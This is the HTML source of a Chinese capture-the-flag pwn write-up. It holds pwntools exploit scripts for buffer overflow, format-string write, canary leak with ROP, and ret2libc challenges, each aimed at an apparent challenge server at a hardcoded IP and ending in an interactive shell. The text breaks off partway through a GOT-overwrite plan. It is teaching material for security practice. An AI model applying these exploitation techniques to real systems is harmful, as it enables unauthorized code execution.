&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;pwn &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;*
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;sh &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;remote(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;81.69.0.47&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1000&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# sh=process(&amp;quot;.&#x2F;pwn00&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;payload&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;flat(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;a&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;120&lt;&#x2F;span&gt;&lt;span&gt;,p64(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x40079B&lt;&#x2F;span&gt;&lt;span&gt;))
&lt;&#x2F;span&gt;&lt;span&gt;sh.sendafter(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;Do you want to play with me?&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,payload)
&lt;&#x2F;span&gt;&lt;span&gt;sh.interactive()
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;fmt&quot;&gt;fmt&lt;&#x2F;h1&gt;
&lt;p&gt;文件: fmt&lt;&#x2F;p&gt;
&lt;p&gt;格式化字符串漏洞，用任意地址写，直接修改&lt;code&gt;seed&lt;&#x2F;code&gt;，用C把随机数算出来。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;#include&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;lt;stdlib.h&amp;gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;#include&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;lt;stdio.h&amp;gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;int &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;main&lt;&#x2F;span&gt;&lt;span&gt;(){
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;srand&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;for&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;;i&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;16&lt;&#x2F;span&gt;&lt;span&gt;;i&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;++&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;printf&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;%d&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;rand&lt;&#x2F;span&gt;&lt;span&gt;());
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;pwn &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;*
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;sh &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;remote(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;81.69.0.47&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;2222&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# sh=process(&amp;quot;.&#x2F;fmt&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;payload&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;flat(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;%9$n&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;a&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;,p64(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x40409C&lt;&#x2F;span&gt;&lt;span&gt;))
&lt;&#x2F;span&gt;&lt;span&gt;sh.sendafter(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;hello world!&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,payload)
&lt;&#x2F;span&gt;&lt;span&gt;sh.sendline(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;1804289383&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;sh.sendline(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;846930886&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;sh.sendline(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;1681692777&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;sh.sendline(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;1714636915&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;sh.sendline(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;1957747793&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;sh.sendline(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;424238335&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;sh.sendline(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;719885386&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;sh.sendline(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;1649760492&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;sh.sendline(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;596516649&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;sh.sendline(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;1189641421&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;sh.sendline(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;1025202362&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;sh.sendline(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;1350490027&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;sh.sendline(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;783368690&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;sh.sendline(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;1102520059&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;sh.sendline(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;2044897763&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;sh.sendline(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;1967513926&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;sh.interactive()
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;baby-canary&quot;&gt;baby_canary&lt;&#x2F;h1&gt;
&lt;p&gt;文件: baby_canary&lt;&#x2F;p&gt;
&lt;p&gt;有canary保护，但可以泄露。两次read，第一次泄露canary，第二次栈溢出ROP。&lt;&#x2F;p&gt;
&lt;p&gt;执行&lt;code&gt;system&lt;&#x2F;code&gt;前，先要将参数设置好。用&lt;code&gt;ROPgadget&lt;&#x2F;code&gt;查找可以修改rdi的片段。&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#383838;color:#e6e1dc;&quot;&gt;&lt;code&gt;&lt;span&gt;Gadgets information
&lt;&#x2F;span&gt;&lt;span&gt;============================================================
&lt;&#x2F;span&gt;&lt;span&gt;0x000000000040086c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
&lt;&#x2F;span&gt;&lt;span&gt;0x000000000040086e : pop r13 ; pop r14 ; pop r15 ; ret
&lt;&#x2F;span&gt;&lt;span&gt;0x0000000000400870 : pop r14 ; pop r15 ; ret
&lt;&#x2F;span&gt;&lt;span&gt;0x0000000000400872 : pop r15 ; ret
&lt;&#x2F;span&gt;&lt;span&gt;0x000000000040086b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
&lt;&#x2F;span&gt;&lt;span&gt;0x000000000040086f : pop rbp ; pop r14 ; pop r15 ; ret
&lt;&#x2F;span&gt;&lt;span&gt;0x0000000000400668 : pop rbp ; ret
&lt;&#x2F;span&gt;&lt;span&gt;0x0000000000400873 : pop rdi ; ret
&lt;&#x2F;span&gt;&lt;span&gt;0x0000000000400871 : pop rsi ; pop r15 ; ret
&lt;&#x2F;span&gt;&lt;span&gt;0x000000000040086d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
&lt;&#x2F;span&gt;&lt;span&gt;0x000000000040059e : ret
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;Unique gadgets found: 11
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;pwn &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;*
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;sh &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;remote(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;81.69.0.47&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;3333&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# sh=process(&amp;quot;.&#x2F;baby_canary&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;payload1&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;flat(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;a&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;105&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;sh.sendafter(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;may be you know it,plz tell me.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,payload1)
&lt;&#x2F;span&gt;&lt;span&gt;sh.recv(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;numb&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;105&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;canary&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;sh.recv(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;numb&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;7&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;payload2&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;flat(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;a&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;104&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\0&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,canary,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\0&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    p64(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x400873&lt;&#x2F;span&gt;&lt;span&gt;),p64(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x4008ED&lt;&#x2F;span&gt;&lt;span&gt;), &lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;#修改 rdi
&lt;&#x2F;span&gt;&lt;span&gt;    p64(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x4007F7&lt;&#x2F;span&gt;&lt;span&gt;))
&lt;&#x2F;span&gt;&lt;span&gt;sh.sendline(payload2)
&lt;&#x2F;span&gt;&lt;span&gt;sh.interactive()
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;pwn111&quot;&gt;pwn111&lt;&#x2F;h1&gt;
&lt;p&gt;文件: pwn111.zip&lt;&#x2F;p&gt;
&lt;p&gt;这题就需要ret2libc了。先泄露一个函数的got表地址，用给的libc文件，计算出其它需要的函数的地址。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;pwn &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;*
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;sh &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;remote(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;81.69.0.47&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1122&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# sh=process(&amp;quot;.&#x2F;pwn111&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;elff &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;ELF(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;.&#x2F;pwn111&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;elflibc &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;ELF(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;.&#x2F;libc&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;payload1&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;flat(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;a&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;136&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    p64(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x401231&lt;&#x2F;span&gt;&lt;span&gt;),p64(elff.got[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;write&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;]),p64(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;),&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;#rsi,r15
&lt;&#x2F;span&gt;&lt;span&gt;    p64(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x401233&lt;&#x2F;span&gt;&lt;span&gt;),p64(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;),&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;#rdi
&lt;&#x2F;span&gt;&lt;span&gt;    p64(elff.plt[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;write&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;]),&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;#0x401030
&lt;&#x2F;span&gt;&lt;span&gt;    p64(elff.symbols[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;_start&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;]))
&lt;&#x2F;span&gt;&lt;span&gt;sh.sendafter(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;please input: &amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,payload1)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;write_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;u64(sh.recv(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;numb&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span&gt;))
&lt;&#x2F;span&gt;&lt;span&gt;sh_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;write_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;elflibc.symbols[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;write&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x18CE17
&lt;&#x2F;span&gt;&lt;span&gt;system_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;write_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;elflibc.symbols[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;write&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span&gt;elflibc.symbols[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;system&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;payload2&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;flat(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;a&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;136&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    p64(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x401233&lt;&#x2F;span&gt;&lt;span&gt;),p64(sh_addr),&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;#rdi
&lt;&#x2F;span&gt;&lt;span&gt;    p64(system_addr))
&lt;&#x2F;span&gt;&lt;span&gt;sh.sendafter(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;please input: &amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,payload2)
&lt;&#x2F;span&gt;&lt;span&gt;sh.interactive()
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;pwn222&quot;&gt;pwn222&lt;&#x2F;h1&gt;
&lt;p&gt;文件: pwn222&lt;&#x2F;p&gt;
&lt;p&gt;逻辑很简单,相比上一题，这题没有了输出函数。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;geek11pwn&#x2F;.&#x2F;pwn222_0.png&quot; alt=&quot;pwn222_0&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;找到了这一片段，可以用来修改GOT表&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#383838;color:#e6e1dc;&quot;&gt;&lt;code&gt;&lt;span&gt;0x000000000040112c : add dword ptr [rbp - 0x3d], ebx ; nop ; ret
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;思路：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;把GOT表中&lt;code&gt;read&lt;&#x2F;code&gt;改成&lt;code&gt;write&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;用&lt;code&gt;write&lt;&#x2F;code&gt;输出&lt;code&gt;write&lt;&#x2F;code&gt;地址&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;把&lt;code&gt;write&lt;&#x2F;code&gt;改回&lt;code&gt;read&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;回到&lt;code&gt;_start&lt;&#x2F;code&gt;重新运行&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
